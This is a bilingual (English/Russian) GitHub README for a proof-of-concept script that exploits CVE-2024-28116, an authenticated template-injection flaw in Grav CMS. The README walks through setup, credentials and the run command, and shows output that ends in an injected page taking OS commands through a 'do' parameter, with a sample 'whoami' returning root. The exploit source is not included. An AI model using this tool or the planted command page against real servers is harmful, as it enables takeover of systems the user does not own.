GenGravSSTIExploit
is a PoC Python script that exploits an authenticated Server-Side Template Injection (SSTI) vulnerability in Grav CMS versions <= 1.7.44 (CVE-2024-28116)
Install / Use
/learn @geniuszly/GenGravSSTIExploitREADME
EN
GenGravSSTIExploit is a PoC Python script that exploits an authenticated Server-Side Template Injection (SSTI) vulnerability in Grav CMS versions <= 1.7.44 (CVE-2024-28116). This vulnerability allows a user with editor permissions to execute OS commands on a remote server.
Note: This script requires valid credentials to authenticate on the Grav CMS console.
Features
- Authenticates with the Grav CMS admin panel using editor credentials.
- Creates a new page on the CMS to inject a payload.
- Executes OS commands remotely by leveraging the SSTI vulnerability.
Requirements
- Python 3.x
requestslibrary (install withpip install requests)
Usage
-
Clone the Repository
git clone https://github.com/geniuszly/GenGravSSTIExploit cd GenGravSSTIExploit -
Configure Credentials
Edit the script to provide your Grav CMS editor credentials:
GRAV_USER = "youruser" GRAV_PASSWORD = "yourpassword" -
Run the Script
Use the following command to run the script:
python GenGravSSTIExploit.py -t <TARGET_URL> -p <PORT><TARGET_URL>: Target URL in the formathttp[s]://hostname.<PORT>: Port number (default is 80).
Example:
python GenGravSSTIExploit.py -t http://example.com -p 8080 -
Interact with the Exploit
If the exploit is successful, you will be given a URL where you can execute OS commands:
[+] RCE payload injected. Visit the malicious page: http://example.com:8080/poc_<ID>?do=<command>
Example output
python GenGravSSTIExploit.py -t http://example.com -p 8080
The script will perform each step, providing you with updates through the terminal. Here is what you might see:
2024-10-02 12:00:01 - INFO - Проверка целевого URL...
2024-10-02 12:00:02 - INFO - Получение session cookie и login-nonce...
2024-10-02 12:00:03 - INFO - Попытка аутентификации в Grav CMS...
2024-10-02 12:00:04 - INFO - Доступ к админ-панели после аутентификации...
2024-10-02 12:00:05 - INFO - Создание новой страницы...
2024-10-02 12:00:06 - INFO - Получение form-nonce и unique_form_id...
2024-10-02 12:00:07 - INFO - Инъекция RCE-полезной нагрузки...
2024-10-02 12:00:08 - INFO - [+] Инъекция RCE успешна. Перейдите по ссылке: http://example.com:8080/poc_4T7B?do=<command>
After the script completes, you will see a message with the link to the injected page. You can visit this link to execute OS commands
http://example.com:8080/poc_4T7B?do=whoami
Visiting the URL with the specified command will display the output directly on the page:
Cmd-Output:
root
Disclaimer
This tool is intended for educational purposes only. Use it responsibly and only on systems where you have explicit permission. The author is not responsible for any misuse or damage caused by this script.
RU
GenGravSSTIExploit — это PoC скрипт на Python , эксплуатирующий аутентифицированную уязвимость SSTI (Server-Side Template Injection) в Grav CMS версий <= 1.7.44 (CVE-2024-28116). Эта уязвимость позволяет пользователю с правами редактора выполнять команды ОС на удаленном сервере.
Примечание: Скрипт требует действительных учетных данных для авторизации в админ-панели Grav CMS.
Особенности
- Аутентификация в админ-панели Grav CMS с использованием учетных данных редактора.
- Создание новой страницы на CMS для инъекции полезной нагрузки.
- Выполнение команд ОС удаленно, используя уязвимость SSTI.
Требования
- Python 3.x
- Библиотека
requests(установить черезpip install requests)
Использование
-
Клонируйте репозиторий
git clone https://github.com/geniuszly/GenGravSSTIExploit cd GenGravSSTIExploit -
Настройте учетные данные
Отредактируйте скрипт и введите учетные данные редактора Grav CMS:
GRAV_USER = "youruser" GRAV_PASSWORD = "yourpassword" -
Запустите скрипт
Используйте следующую команду для запуска скрипта:
python GenGravSSTIExploit.py -t <TARGET_URL> -p <PORT><TARGET_URL>: Целевой URL в форматеhttp[s]://hostname.<PORT>: Номер порта (по умолчанию 80).
Пример:
python GenGravSSTIExploit.py -t http://example.com -p 8080 -
Взаимодействие с эксплойтом
Если эксплойт прошел успешно, вы получите URL, где сможете выполнить команды ОС:
[+] Инъекция RCE успешна. Перейдите по ссылке: http://example.com:8080/poc_<ID>?do=<command>
Пример вывода
python GenGravSSTIExploit.py -t http://example.com -p 8080
Скрипт будет выполнять каждый шаг, предоставляя вам обновления через терминал. Вот что вы можете увидеть:
2024-10-02 12:00:01 - INFO - Проверка целевого URL...
2024-10-02 12:00:02 - INFO - Получение session cookie и login-nonce...
2024-10-02 12:00:03 - INFO - Попытка аутентификации в Grav CMS...
2024-10-02 12:00:04 - INFO - Доступ к админ-панели после аутентификации...
2024-10-02 12:00:05 - INFO - Создание новой страницы...
2024-10-02 12:00:06 - INFO - Получение form-nonce и unique_form_id...
2024-10-02 12:00:07 - INFO - Инъекция RCE-полезной нагрузки...
2024-10-02 12:00:08 - INFO - [+] Инъекция RCE успешна. Перейдите по ссылке: http://example.com:8080/poc_4T7B?do=<command>
После завершения работы скрипта вы увидите сообщение со ссылкой на внедренную страницу. Вы можете перейти по этой ссылке для выполнения команд:
http://example.com:8080/poc_4T7B?do=whoami
Посещение URL-адреса с помощью указанной команды приведет к отображению вывода прямо на странице:
Cmd-Output:
root
Отказ от ответственности
Этот инструмент предназначен только для образовательных целей. Используйте его ответственно и только на системах, где у вас есть явное разрешение. Автор не несет ответственности за любое злоупотребление или ущерб, вызванный этим скриптом.
Related Skills
node-connect
349.0kDiagnose OpenClaw node connection and pairing failures for Android, iOS, and macOS companion apps
frontend-design
109.4kCreate distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, or applications. Generates creative, polished code that avoids generic AI aesthetics.
openai-whisper-api
349.0kTranscribe audio via OpenAI Audio Transcriptions API (Whisper).
qqbot-media
349.0kQQBot 富媒体收发能力。使用 <qqmedia> 标签,系统根据文件扩展名自动识别类型(图片/语音/视频/文件)。
